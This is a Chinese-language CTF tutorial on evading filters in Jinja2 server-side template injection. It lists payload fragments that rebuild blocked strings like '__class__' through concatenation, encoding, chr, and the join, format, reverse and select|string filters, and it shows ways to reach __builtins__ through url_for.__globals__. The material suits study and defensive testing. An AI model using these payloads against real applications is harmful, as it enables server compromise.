SSTI模板注入绕过(进阶篇)

文章目录

  • 语法
  • 变量
  • 过滤器
  • 总结
    • 获取内置方法 以chr为例
    • 字符串构造
    • 获取键值或下标
    • 获取属性

下面的内容均以jinja2为例,根据官方文档来探寻绕过方法
文档链接
默认大家都已经可以利用没有任何过滤的模板注入

语法

官方文档对于模板的语法介绍如下

{% ... %} for Statements 

{{ ... }} for Expressions to print to the template output

{# ... #} for Comments not included in the template output

#  ... # for Line Statements

{%%}可以用来声明变量,当然也可以用于循环语句和条件语句。
{{}}用于将表达式打印到模板输出
{##}表示未包含在模板输出中的注释
##可以有和{%%}相同的效果

{% set x= 'abcd' %}  声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %}  条件语句
# for i in ['a','1']
{{ i }}
# endfor

{% for i in ['a','1'] %}
{{ item }}
{% endfor %}

这两条是等效的,但是有个前提,必须在environment中配置line_statement_prefix
即
app.jinja_env.line_statement_prefix="#"
但我尝试之后发现开启不了,不知道为什么

变量

You can use a dot (.) to access attributes of a variable in addition to the standard Python __getitem__ “subscript” syntax ([]). --官方原文

也就是说
除了标准的python语法使用点(.)外,还可以使用中括号([])来访问变量的属性。
比如

{{"".__class__}}
{{""['__classs__']}}

所以过滤了点,我们还可以用中括号绕过。
如果想调用字典中的键值,其本质其实是调用了魔术方法__getitem__
所以对于取字典中键值的情况不仅可以用[],也可以用__getitem__
当然对于字典来说,我们也可以用他自带的一些方法了。pop就是其中的一个

pop(key[,default])
参数
key: 要删除的键值
default: 如果没有 key,返回 default 值
删除字典给定键 key 所对应的值,返回值为被删除的值。key值必须给出。 否则,返回default值。

我们要使用字典中的键值的话,也可以用list.pop("var"),但大家最好不要用这个,除非万不得已,因为会删除里面的键,如果删除的是一些程序运行需要用到的,就可能使得服务器崩溃。然后过了一遍字典的方法,发现getsetdefault是个不错的选择

dict.get(key, default=None)
返回指定键的值,如果值不在字典中返回default值

dict.setdefault(key, default=None)
和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default
{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}

那么调用对象的方法具体是什么原理呢,其实他是调用了魔术方法__getattribute__

"".__class__
"".__getattribute__("__class__")

如果题目过滤了class或者一些关键字,我们是不是就可以通过字符串处理进行拼接了。
对于我们来说,能转换成字符串会更好处理一些。
那我们就顺势讲一下字符串的一些处理方法。
1、拼接
"cla"+"ss"
2、反转
"__ssalc__"[::-1]

但是实际上我发现其实加号是多余的,在jinjia2里面,"cla""ss"是等同于"class"的,也就是说我们可以这样引用class,并且绕过字符串过滤

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

3、ascii转换

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

4、编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")

5、利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__找到他

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

6、在jinja2里面可以利用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

7、大小写转换
前提是过滤的只是小写

""["__CLASS__".lower()]

先想到这些,下面讲过滤器再补充

过滤器

原文介绍

Variables can be modified by filters. Filters are separated from the variable by a pipe symbol (|) and may 
have optional arguments in parentheses. Multiple filters can be chained. The output of one filter is 
applied to the next.
For example, {{ name|striptags|title }} will remove all HTML Tags from variable name and title-case the
output (title(striptags(name))).

变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多
个过滤器。一个过滤器的输出应用于下一个过滤器。

例如,{{ name|striptags|title }} 将删除变量名中的所有HTML标记,并将title大小写为输出(title(striptags(name)))。

讲几个对我们进行模板注入比较实用的吧,其他的大家可以去文档中学习。

attr

Get an attribute of an object. foo|attr("bar") works like foo.bar just that always an attribute is returned and 
items are not looked up.

也就是说 attr用于获取变量
例如

""|attr("__class__")
相当于
"".__class__

这个大家应该见的比较多了,常见于点号(.)被过滤,或者点号(.)和中括号([])都被过滤的情况。

format

Apply the given values to a printf-style format string, like string % values.

功能和我们前面讲到的字符串绕过中的format类似。
用法
{ "%s, %s!"|format(greeting, name) }}
那么我们想要调用__class__就可以用format了

"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]

first last random

Return the first item of a sequence.
Return the last item of a sequence.
Return a random item from the sequence.

前两个其实用处不是很大,因为他只能返回第一个值或者最后一个,当然,如果我们用的就是第一个或者最后一个那就ok了。
random的话是随机返回,这样我们跑个脚本肯定是可以得到我们想要的。

"".__class__.__mro__|last()
相当于
"".__class__.__mro__[-1]

join

Return a string which is the concatenation of the strings in the sequence. The separator between elements is an
empty string per default, you can define it with the optional parameter:

{{ [1, 2, 3]|join('|') }}
    -> 1|2|3

{{ [1, 2, 3]|join }}
    -> 123
It is also possible to join certain attributes of an object:

{{ users|join(', ', attribute='username') }}

这个用处就相当大了,我们貌似又多了一种字符串拼接的方法

""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]

lower

Convert a value to lowercase.
功能类似于前面的转换成小写
""["__CLASS__"|lower]

replace reverse

Return a copy of the value with all occurrences of a substring replaced with a new one. The first 
argument is the substring that should be replaced, the second is the replacement string. If the optional 
third argument count is given, only the first count occurrences are replaced


Reverse the object or return an iterator that iterates over it the other way round.

我们可以利用替换和反转还原回我们要用的字符串了

"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
"__ssalc__"|reverse 构造出 "__class__"

string

Make a string unicode if it isn’t already. That way a markup string is not converted back to unicode.

功能类似于python内置函数 str
有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用,就可以构造出一些字符了,再通过拼接就能构成特定的字符串。

().__class__   出来的是<class 'tuple'>
(().__class__|string)[0] 出来的是<

select unique

Filters a sequence of objects by applying a test to each object, and only selecting the objects with the test succeeding.
If no test is specified, each object will be evaluated as a boolean.
通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。
如果没有指定测试,则每个对象都将被计算为布尔值

Returns a list of unique items from the given iterable.

这两个乍一看感觉没啥用处,其实如果我们和上面的结合就会发现他们巨大的用处

()|select|string
结果如下
<generator object select_or_reject at 0x0000022717FF33C0>

这样我们会拥有比前面更多的字符来用于拼接

(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]

得到字符串"__class__"

SSTI模板注入绕过(进阶篇)_第1张图片

list

Convert the value into a list. If it was a string the returned list will be a list of characters.

转换成列表
更多的用途是配合上面的string转换成列表,就可以调用列表里面的方法取字符了
只是单纯的字符串的话取单个字符方法有限

(()|select|string)[0]
如果中括号被过滤了,挺难的
但是列表的话就可以用pop取下标了
当然都可以使用__getitem__
(()|select|string|list).pop(0)

过滤器也先写到这了,还有不少,大家可以自行研究。

总结

获取内置方法 以chr为例

"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr  (x为任意值)

获取字符串
具体原理可参考文章

request.args.x1   	get传参
request.values.x1 	get、post传参
request.cookies
request.form.x1   	post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		post传参	(Content-Type:a/b)
request.json		post传json  (Content-Type: application/json)

字符串构造

1、拼接
"cla"+"ss"
2、反转
"__ssalc__"[::-1]

但是实际上我发现其实加号是多余的,在jinjia2里面,"cla""ss"是等同于"class"的,也就是说我们可以这样引用class,并且绕过字符串过滤

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
""["__ssalc__"[::-1]]
"".__getattribute__("__ssalc__"[::-1])

3、ascii转换

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

4、编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")

5、利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__找到他

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

6、在jinja2里面可以利用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

7、大小写转换
前提是过滤的只是小写

""["__CLASS__".lower()]

8、利用过滤器

('__clas','s__')|join
["__CLASS__"|lower
"__claee__"|replace("ee","ss") 
"__ssalc__"|reverse
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)


(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]

dict(__clas=a,s__=b)|join

获取键值或下标

dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)

获取属性

().__class__
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")

转载请联系笔者

你可能感兴趣的:(ctf)